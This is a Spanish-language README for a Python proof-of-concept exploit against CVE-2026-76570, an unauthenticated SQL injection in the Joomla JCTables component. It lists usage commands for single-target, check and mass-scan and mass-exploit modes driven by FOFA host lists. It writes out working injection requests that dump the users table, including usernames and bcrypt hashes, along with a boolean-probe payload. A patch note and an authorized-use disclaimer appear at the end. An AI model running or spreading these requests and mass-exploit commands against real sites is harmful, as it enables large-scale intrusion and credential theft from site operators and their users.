
Prueba de concepto en Python para CVE-2026-76570: inyección SQL no autenticada en la API JSON del front-end de Joomla JCTables (com_jctables), con modos de comprobación, explotación y escaneo masivo.
PoC en Python 3 para CVE-2026-76570 — Joomcode JCTables — inyección SQL sin autenticación en la API CRUD JSON del front-end (getdatarow, getrow, …).
| CVE.org | https://www.cve.org/CVERecord?id=CVE-2026-76570 (PUBLICADO 2026-09-30) |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-76570 |
| CNA | Joomla! Project |
| Componente | com_jctables |
| Afectado | 1.0.0 – 1.20.0 (laboratorio: ≤ 1.10.31.2 confirmado) |
| Corrección | ≥ 1.21.1 (2026-08-05) |
| CWE | CWE-89, CWE-862 |
| CVSS 4.0 | 10.0 Crítico — AT:N (sin configuración especial de administrador) |
| Análisis | VulnCheck — JCTables SQL R/W → RCE chain |
Las tareas del controlador del front-end no tienen token / ACL. Los nombres de tablas y columnas de la solicitud se concatenan en SQL; ladb_escape() trata los valores entre comillas como "ya escapados". getdatarow puede leer tablas arbitrarias de la BD (p. ej. {prefix}users). Esta PoC demuestra la lectura (fila con nombre de usuario / bcrypt) — no ejecuta la cadena completa de inicio de sesión de administrador / RCE mediante plugin.
Marcador de éxito: POCBIT-76570-OK (en los metadatos de prueba JSON).
pip install requests urllib3 coloramacd CVE-2026-76570
python poc.py # interactive
python poc.py hits.txt # mass exploit → exploited.txt
python poc.py --check fofa_hosts.txt # mass scan → hits.txt
python poc.py -u https://site.tld
python poc.py -u URL --prefix jos_ # if you know DB prefix
python poc.py --lab
python poc.py --help
python _engine.py --help
| Paso | Solicitud |
|---|---|
| Leer fila | GET index.php?option=com_jctables&format=json&task=getdatarow&tn={prefix}users&idx=id&rid=1 |
| Sonda booleana | GET …&task=getrow&mid=N&tid=T&idx='' OR (1=1) OR '' |
Actualice JCTables a 1.21.1+ o elimine el componente.
Solo para pruebas de seguridad autorizadas.